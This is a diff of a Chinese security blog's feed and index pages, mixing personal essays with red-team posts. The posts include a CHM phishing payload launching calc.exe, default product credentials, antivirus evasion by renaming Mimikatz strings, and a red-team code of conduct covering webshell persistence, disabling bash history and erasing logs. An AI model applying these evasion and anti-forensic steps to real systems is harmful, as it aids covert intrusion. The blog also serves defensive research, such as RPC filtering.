+四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。 +“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。” +五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。 +“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。” +六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源: +人口少子化可能催生了“断亲族”,亲戚数量少、交往不够 家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化 对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异 当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑 我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。 +“如果我们可以经常像朋友一样沟通,我有好多话想说。” +七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。 +“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。” +八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。 +“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。” +九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。 +“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。” +十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。 +“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。” +十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。 +“没有人可以评价你,做一个自信的人,我们的文化也是一样。” +十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。 +“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。” +这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。 +最后 2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/使用带密码的私钥 使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。 +1 2 3 4 5 # ssh-keygen 命令 $ ssh-keygen -t rsa -f secret-key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): # 输入密码 Enter same passphrase again: # 输入密码 使用命令行提示工具 oh-my-zsh oh my zsh +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ sh -c &#34;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&#34; $ vim .zshrc # 我使用的插件 plugins=( git docker zsh-syntax-highlighting zsh-autosuggestions zsh-completions copyfil e emoji extract sudo ) 使用更好的替代命令 在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置:某安全数据交换系统的漏洞挖掘https://payloads.online/archivers/2023-09-18/code-auditing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/code-auditing/本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。 +基本信息: +后台管理界面用户名密码:admin/nxg@LL99 操作系统:root / bo%Fn!71、uninxg / lx$zR9ce 配置网络 根据产品安装文档环境搭建完毕后,手动设置IP地址和DNS: +手工修改 /etc/resolv.conf +1 2 nameserver 114.114.114.114 nameserver 8.8.8.8 修改 /etc/NetworkManager/NetworkManager.conf 文件,在main部分添加 “dns=none” 选项: +1 2 3 [main] #plugins=ifcfg-rh dns=none 网络IP地址配置文件在 /etc/sysconfig/network-scripts 文件夹下: +我添加了两个网卡,其中一个用来供本机访问: +/etc/sysconfig/network-scripts/ifcfg-eth1-1 +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 HWADDR=00:0C:29:4B:16:B4 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none IPADDR=192.168.117.100 GATEWAY=192.168.117.2 PREFIX=24 DNS1=114.114.114.114 DNS2=8.8.8.8 DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV4_DNS_PRIORITY=100 IPV6INIT=no NAME=eth1 UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66 DEVICE=eth1 ONBOOT=no 观察启动命令行:邮件钓鱼与T1218.001https://payloads.online/archivers/2023-09-18/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/phishing/背景 今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。 +CHM文件打开的过程 CHM文件是各种内容的压缩编译,如HTML文档,图像和脚本/Web相关的编程语言,在CHM打开时,会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。 +CHM的Payload CHM文件可以通过hh.exe进行反编译: +1 hh.exe -decompile %temp% payload.chm 如何构建CHM文件? 可以使用Microsoft HTML Help Workshop工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息: +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;html&gt; &lt;head&gt; &lt;OBJECT id=&#34;Test&#34; type=&#34;application/x-oleobject&#34; classid=&#34;clsid:52a2aaae-085d-4187-97ea-8c30db990436&#34; codebase=&#34;hhctrl.ocx#Version=5,02,3790,1194&#34; width=&#34;1&#34; height=&#34;1&#34;&gt; &lt;PARAM name=&#34;Command&#34; value=&#34;ShortCut&#34;&gt; &lt;PARAM name=&#34;Button&#34; value=&#34;Bitmap:shortcut&#34;&gt; &lt;PARAM name=&#34;Item1&#34; value=&#34;,cmd.exe, /c calc.exe&#34;&gt; &lt;PARAM name=&#34;Item2&#34; value=&#34;273,1,1&#34;&gt; &lt;/object&gt; &lt;script&gt; Test.HHClick(); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Hello&lt;/h1&gt; &lt;/body&gt; &lt;/html&gt; 在这段代码中,调用了hhctrl.ocxCOM组件,该组件的方法可以执行命令: +COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTICVsCode扩展中的DLL注入器https://payloads.online/archivers/2023-09-08/vscode-dll/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-08/vscode-dll/安装完毕Python调试扩展后,会在扩展目录中生成一些文件: +其中以下两个文件是DLL注入器,分别对应X86和X64位操作系统: +inject_dll_x86.exe inject_dll_amd64.exe 在windows文件夹中还保留了注入器的源代码: +路径:C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 // inject_dll.红队行动守则https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/ 攻击注意事项 使用免杀Webshell(文件特征、流量特征),禁止使用开源社区通用Webshell,这些是我过去常用的Webshell: https://github.com/Rvn0xsy/usefull-code 尽可能的删除依赖工具的软件特征、流量特征 打点后先进行权限维持(并且最好都额外打一个内存马) 原因:单个Webshell即使免杀,也有可能被防守方发现,一旦被删除就失去了服务器控制权 不执行敏感的操作(如反弹Shell) 获取权限后的信息收集,通过网络、应用业务、服务器登录日志、命令执行日志判断当前机器是否是蜜罐 核心关键隧道:使用规避内存扫描的C2解决方案 端口反连使用常见端口,伪装正常应用流量(25,110,80,443,993,995,8080,8443) C2基础设施配置为HTTPS/DNS上线,最好勿用HTTP,证书采用CDN服务商或Let’s Encrypt 搭建正向的Web代理后,应当先研究如何提升隧道传输质量,避免多人扫描 Web正向代理的思考 | 倾旋的博客 +内网探测工具的选择尽可能脚本化、去特征、低频率 隧道建立:采用开源魔改工具实现,避免流量和样本特征与公开的重合 弱口令扫描:低频、小字典、优先尝试SSH/RDP/MySQL/MSSQL等弱口令(分两类:有数据的服务器、有管理端口的服务器) 登录Linux服务器,应当避免Bash History被记录可使用sh来执行命令,或设置环境变量避免Bash记录历史命令。 1 2 3 4 5 6 python -c &#39;import pty;pty.spawn(&#34;/bin/sh&#34;)&#39; # or unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 操作合规:非必要情况下,不修改任何服务器用户密码 操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具 操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8 操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析 工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具 反溯源注意事项 外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。 内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。 短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息 短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。 在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。 职业操守 禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。 禁止使用会造成不良后果的攻击方式(如DDOS攻击)。 测试结束后删除Webshell等恶意文件或记住固定存放位置。 禁止使用境外跳板机、VPN。 使用统一攻击资源与授权攻击工具。 对项目、行动内容在公开场合进行保密,不产生任何舆论影响。记录一下配置Clash透明代理https://payloads.online/archivers/2023-08-07/clash-config/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-07/clash-config/📝Clash是什么? https://github.com/Dreamacro/clash +Clash是一个支持多种协议隧道转发的工具,主要功能如下: +Inbound: HTTP, HTTPS, SOCKS5 server, TUN device Outbound: Shadowsocks(R), VMess, Trojan, Snell, SOCKS5, HTTP(S), Wireguard Rule-based Routing: dynamic scripting, domain, IP addresses, process name and more Fake-IP DNS: minimises impact on DNS pollution and improves network performance Transparent Proxy: Redirect TCP and TProxy TCP/UDP with automatic route table/rule management Proxy Groups: automatic fallback, load balancing or latency testing Remote Providers: load remote proxy lists dynamically RESTful API: update configuration in-place via a comprehensive API 目前作者还在维护高级核心版(免费),为了尝试支持更多功能。使用Appveyor构建VS项目-快速编译https://payloads.online/archivers/2023-07-23/appveyor/Sun, 23 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-23/appveyor/前言 Appveyor简介 我们为Windows开发人员提供持续集成工具。该服务是免费提供给开源项目使用的,我们为私有项目提供订阅服务,并在客户现场提供AppVeyor企业安装服务。 +迄今为止,已有超过50,000名开发人员使用了AppVeyor,并运行了超过1000万次构建。AppVeyor受到微软、谷歌、Facebook、Mozilla、Slack、GitHub等公司的信任。 +About | AppVeyor +构建Github项目 AppVeyor提供了它特有的配置文件用于声明构建动作,开发者可以通过编写AppVeyor配置文件来控制程序的发布流程。 +这里只讨论没有AppVeyor配置文件的项目,以https://github.com/goldshtn/etrace为例,etrace是一个命令行工具,用于实时跟踪 ETW 事件和 处理现有的 .etl 录制文件。它的灵感来自Microsoft ELT工具。 +该项目没有AppVeyor配置文件,首先Fork这个项目到自己账户名下,然后访问https://www.appveyor.com/,以Github账户登录,并且授权读取此仓库。 +在Github这一栏可以看到授权的仓库,点击 +ADD 就可以进入项目的构建配置界面: +由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置: +在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库: +1 nuget restore 在开发.NET应用程序时,通常会使用NuGet来管理项目所依赖的第三方库和组件。NuGet是.NET生态系统中最受欢迎的包管理器之一,它提供了一个中央存储库,开发人员可以从中获取各种软件包和库。 +&ldquo;nuget restore&quot;命令会读取项目文件(.csproj或.vbproj)中的依赖关系,并下载或还原所需的NuGet包,以确保项目可以成功编译和构建。这个命令通常在CI/CD(持续集成/持续交付)过程中使用,以确保在构建项目之前,所有的依赖关系都被正确地还原和安装。 +除此之外,还可以在环境配置中设置安装开发库的命令: +最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin +保存后,回到项目页面,点击Start New Build就开始构建了: +稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。 +使用AppVeyor构建Mimikatz Mimikatz是gentilkiwi使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此gentilkiwi每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。 +gentilkiwi已经在Mimikatz项目中内置了一个AppVeyor的配置文件,这个配置文件会随着项目改动自动触发AppVeyor的构建流程。 +我们要做的就是先Fork一份Mimikatz到自己的项目中,然后开始修改AppVeyor配置文件: +这里我只是做了一个工作,就是将代码中的所有Mimikatz字符串替换为aabbcc,当然还可以做很多其它的替换操作。 +1 2 3 4 5 6 7 8 9 10 11 12 13 14 ls; Copy-Item C:\projects\mimikatz\mimikatz\mimikatz.ico C:\projects\mimikatz\mimikatz\aabbcc.ico; (Get-ChildItem -Path &#34;.&#34; -Recurse -File -Include *.h,*.c,*.vcxproj,*.rc) | ForEach-Object { $newFileName = $_.常用软件记录https://payloads.online/archivers/2023-07-19/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-19/useful-software/操作系统-[镜像] Windows: MSDN-ItellYou \ ✨LTSC 系统比较纯净 推荐使用LTSC版本的操作系统,系统比较纯净,但需要激活 +Linux: Arch Linux / Ubuntu 比较推荐直接去一些软件源上下载,这里举例清华源 +操作系统工具-[Linux] 文档处理:WPS Office、Mousepad 输入法:Fctix5 … https://github.com/Rvn0xsy/pacman-pkg 软件中心 腾讯软件中心 无广告和捆绑 软件分析 CFF Explorer PE文件解析 IDA 二进制文件分析 Dnspy C#程序反汇编分析 X64Dbg Windows二进制文件分析 浏览器插件 ✨TamperMonkey 油猴插件 ✨AdGuard 拦截广告 ✨Proxy SwitchyOmega 代理切换 ✨Bitwarden 密码管理器 ✨Wappalyzer 分析网站所使用的组件 影视资源 BT之家:btbtt15[.]com 樱花动漫:yinghuadongman[.]me 操作系统工具-[Windows] 备忘录:✨Notion 聊天工具:微信、Slack、✨飞书 电子邮件:Foxmail 文档处理:Microsoft Office、wps 密码管理:✨Bitwarden 浏览器:Google Chrome、✨Microsoft Edge 视频会议:✨腾讯会议 Microsoft To Do待办提醒:✨To Do 文件查找搜索:Everything 抓包分析:Wireshark \ ✨[镜像]Wireshark 镜像下载较快 \ Burpsuite 代码编辑器:VSCode[加速下载]改变官网地址主地址为: vscode.使用RPC Filter技术防御内网RPC横向攻击https://payloads.online/archivers/2022-10-23/1/Sun, 23 Oct 2022 00:00:00 +0000https://payloads.online/archivers/2022-10-23/1/前言 Impacket工具包中所包含的内网横向技术大多都是依赖于RPC协议的,但对于RPC协议的攻击防御除了网络流量侧的检测识别以外,还可以通过Windows 内置的WFP(Windows Filtering Platform)技术。 这里提一下,流量测如何分析并防御impacket内网横向:https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/ 关于RPC的攻击技术及漏洞整理了以下部分,使用RPC Filter可以达到阻断漏洞被利用和攻击的效果: impacket-atexec 通过SMB协议认证,利用MS-TSCH RPC协议服务注册任务计划进行横向移动。 impacket-psexec 通过SMB协议认证,利用MS-SCMR RPC协议注册系统服务进行横向移动。 impacket-dcomexec 通过SMB认证,利用MS-DCOM RPC协议调用COM组件执行横向移动。 impacket-wmiexec 通过SMB认证,利用MS-DCOM RPC协议调用COM组件执行横向移动。 大名鼎鼎的PetitPotam CVE-2021-36942 利用MS-EFSRPC协议让服务器访问攻击者构造的地址进行NTLM重定向攻击。 PrintNightmare Windows Print Spooler权限提升漏洞(CVE-2021-1675),利用MS-RPRN进行提权,其原理也是通过调用RPC接口,让服务器访问特定的路径。 除了这类漏洞的利用,还有大部分的土豆提全系列都有使用到RPC接口,让系统SYSTEM特权进程访问攻击者构造的管道,然后进行令牌模拟,达到窃取Token然后提权的目的。 什么是WFP? Windows Filtering Platform (WFP) is a network traffic processing platform designed to replace the Windows XP and Windows Server 2003 network traffic filtering interfaces. WFP consists of a set of hooks into the network stack and a filtering engine that coordinates network stack interactions.我的三年红队生涯总结https://payloads.online/archivers/2022-09-19/1/Mon, 19 Sep 2022 00:00:00 +0000https://payloads.online/archivers/2022-09-19/1/兴趣可以持续多久? 在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课,主要是关于自学安全的话题。开始的时候分享了我的一些学习经历,我发现总结不出来如何培养自己的自学能力,因为第一个大前提:我做的是我热爱的事情,在年龄很小的时候就找到了自己喜欢的事情,为此愿意花大量的时间去探索技术,不断的学习。 diff --git a/page/10/index.html b/page/10/index.html index 20456f1..a63c397 100644 --- a/page/10/index.html +++ b/page/10/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

20 -Mar 2018

浅谈使用C语言开发服务端漏洞扫描设计

4,068 words, ~16 min read

本文记录一下自己学习这么久以来,目前设计的漏洞扫描最好的方式
18 -Mar 2018

渗透测试中使用Ubuntu的一些小技巧

677 words, ~2 min read

本文记录一下Ubuntu的一些小技巧
16 -Mar 2018

华为RIP协议

297 words, ~1 min read

本文记录一下华为RIP协议的简单配置
04 -Mar 2018

使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析

1,140 words, ~4 min read

本文概述一下使用C语言发送伪造源IP的UDP请求及DRDoS拒绝服务攻击原理剖析
30 -Jan 2018

针对某跨国企业的一次渗透测试-持续

16 words, ~0 min read

本篇文章主要是交流内网渗透方面的技术、未涉及攻击、窃取数据。 :) 已上报国家信息安全响应中心
22 -Jan 2018

我的丽江之旅

3,758 words, ~15 min read

记录一下我眼中的丽江,不以叙事风格来写,只写我印象最深的它。
28 -Dec 2017

针对国内一大厂的后渗透 - 持续

2,743 words, ~10 min read

针对国内一大厂的后渗透
22 -Nov 2017

CVE-2017-11882钓鱼攻击

616 words, ~2 min read

本文概述一次钓鱼攻击
21 -Nov 2017

CVE-2017-11882漏洞复现

853 words, ~3 min read

本文记录一下针对CVE-2017-11882的漏洞复现
14 -Nov 2017

CTF - 美眉的手机号

1,404 words, ~5 min read

本文介绍一个在CTF中遇到的经典二次注入
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

13 +Oct 2018

COM Hijacking

1,810 words, ~7 min read

本文介绍一下COM劫持
08 +Oct 2018

Windows 本地特权提升技巧

3,532 words, ~14 min read

本文总结几个Windows 本地特权提升技巧
16 +Aug 2018

Python virtualenv

99 words, ~0 min read

本文记录virtualenv的使用
15 +Aug 2018

Microsoft DirectX SDK June 2010 Xact3.exe DLL Hijacking复现

913 words, ~3 min read

本文记录DirectX SDK的DLL劫持漏洞
03 +Aug 2018

近期的生活

517 words, ~2 min read

本文记录一下在上海的这三个月
27 +Jul 2018

Nmap扩展开发(一)

2,009 words, ~8 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。
09 +Jun 2018

QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权

1,039 words, ~4 min read

QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权
02 +May 2018

Windows域渗透 - 用户密码枚举

812 words, ~3 min read

推荐一个Powershell脚本
20 +Apr 2018

新生活 - 上海,我来了

81 words, ~0 min read

上海,我来了
27 +Mar 2018

使用CrackMapExec 进行 NTLM Hash传递攻击

798 words, ~3 min read

本文介绍一个工具 - CrackMapExec 进行 NTLM Hash传递攻击
\ No newline at end of file diff --git a/page/11/index.html b/page/11/index.html index b7ef866..62d175b 100644 --- a/page/11/index.html +++ b/page/11/index.html @@ -1,16 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

09 -Nov 2017

socat 使用手册

2,435 words, ~9 min read

## socat简介 -socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。 -So...
08 -Nov 2017

Windows下命令行下载文件总结

550 words, ~2 min read

## 0x00 Powershell -win2003、winXP不支持 -$client = new-object System.Net.WebClient -$client.DownloadFile('http://payloads...
21 -Aug 2017

Tomcat 开启 https支持

364 words, ~1 min read

本文介绍一下tomcat 开启 https支持
18 -Aug 2017

记一次某Cms的审计

1,048 words, ~4 min read

本文简述一下对一个采用了开源框架的cms的审计过程。
07 -Aug 2017

Nmap扩展开发

1,495 words, ~5 min read

Nmap进行漏洞扫描,编写扩展
31 -Jul 2017

端口转发工具小结

741 words, ~2 min read

介绍几款端口转发工具
08 -Jun 2017

光阴是酒,醉了来人

1,545 words, ~6 min read

这首诗,两年了,读起来还是那么的有味道。
05 -Jun 2017

Cknife Bypass WAF

1,346 words, ~5 min read

本文简述一下配置CKnife达到bypass软WAF的实例
02 -Jun 2017

Struts S2-045 Nmap扫描脚本

1,558 words, ~6 min read

本文介绍一下Nmap的扩展插件编写
23 -Mar 2017

phpMyAdmin新姿势getshell

1,483 words, ~5 min read

假设我们拥有MySQL的root权限,登录Web端的phpMyAdmin数据库管理控制台,你有多少种方法去getshell?
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

20 +Mar 2018

浅谈使用C语言开发服务端漏洞扫描设计

4,068 words, ~16 min read

本文记录一下自己学习这么久以来,目前设计的漏洞扫描最好的方式
18 +Mar 2018

渗透测试中使用Ubuntu的一些小技巧

677 words, ~2 min read

本文记录一下Ubuntu的一些小技巧
16 +Mar 2018

华为RIP协议

297 words, ~1 min read

本文记录一下华为RIP协议的简单配置
04 +Mar 2018

使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析

1,140 words, ~4 min read

本文概述一下使用C语言发送伪造源IP的UDP请求及DRDoS拒绝服务攻击原理剖析
30 +Jan 2018

针对某跨国企业的一次渗透测试-持续

16 words, ~0 min read

本篇文章主要是交流内网渗透方面的技术、未涉及攻击、窃取数据。 :) 已上报国家信息安全响应中心
22 +Jan 2018

我的丽江之旅

3,758 words, ~15 min read

记录一下我眼中的丽江,不以叙事风格来写,只写我印象最深的它。
28 +Dec 2017

针对国内一大厂的后渗透 - 持续

2,743 words, ~10 min read

针对国内一大厂的后渗透
22 +Nov 2017

CVE-2017-11882钓鱼攻击

616 words, ~2 min read

本文概述一次钓鱼攻击
21 +Nov 2017

CVE-2017-11882漏洞复现

853 words, ~3 min read

本文记录一下针对CVE-2017-11882的漏洞复现
14 +Nov 2017

CTF - 美眉的手机号

1,404 words, ~5 min read

本文介绍一个在CTF中遇到的经典二次注入
\ No newline at end of file diff --git a/page/12/index.html b/page/12/index.html index 3bd15fb..ad35a0f 100644 --- a/page/12/index.html +++ b/page/12/index.html @@ -1,11 +1,16 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

13 -Mar 2017

渗透测试中的Bypass技巧(四)自动化注入

1,558 words, ~6 min read

声明:本文旨在技术研究,请勿用于违法用途,否则后果自负。
07 -Mar 2017

渗透测试中的Bypass技巧(三)自动化注入

1,546 words, ~6 min read

某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。
06 -Mar 2017

渗透测试中的Bypass技巧(二)

1,290 words, ~5 min read

第二篇 应用层过WAF
05 -Mar 2017

渗透测试中的Bypass技巧(一)

1,512 words, ~6 min read

第一篇架构层绕过WAF
23 -Nov 2015

思科路由

44 words, ~0 min read

本文介绍一下思科设备的简单配置
20 -Nov 2015

华为MSTP协议

324 words, ~1 min read

本文记录一下华为MSTP协议配置
20 -Nov 2015

华为交换机MUX-VLAN

117 words, ~0 min read

本文记录一下华为交换机MUX-VLAN配置
20 -Nov 2015

华为交换机Telnet远程登录

35 words, ~0 min read

本文记录一下华为交换机Telnet远程登录的简单配置
20 -Nov 2015

华为交换机VLAN聚合实例

266 words, ~1 min read

本文记录一下华为交换机VLAN聚合实例配置
20 -Nov 2015

华为路由OSPF被动接口配置

92 words, ~0 min read

本文记录一下华为路由OSPF被动接口配置
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

09 +Nov 2017

socat 使用手册

2,435 words, ~9 min read

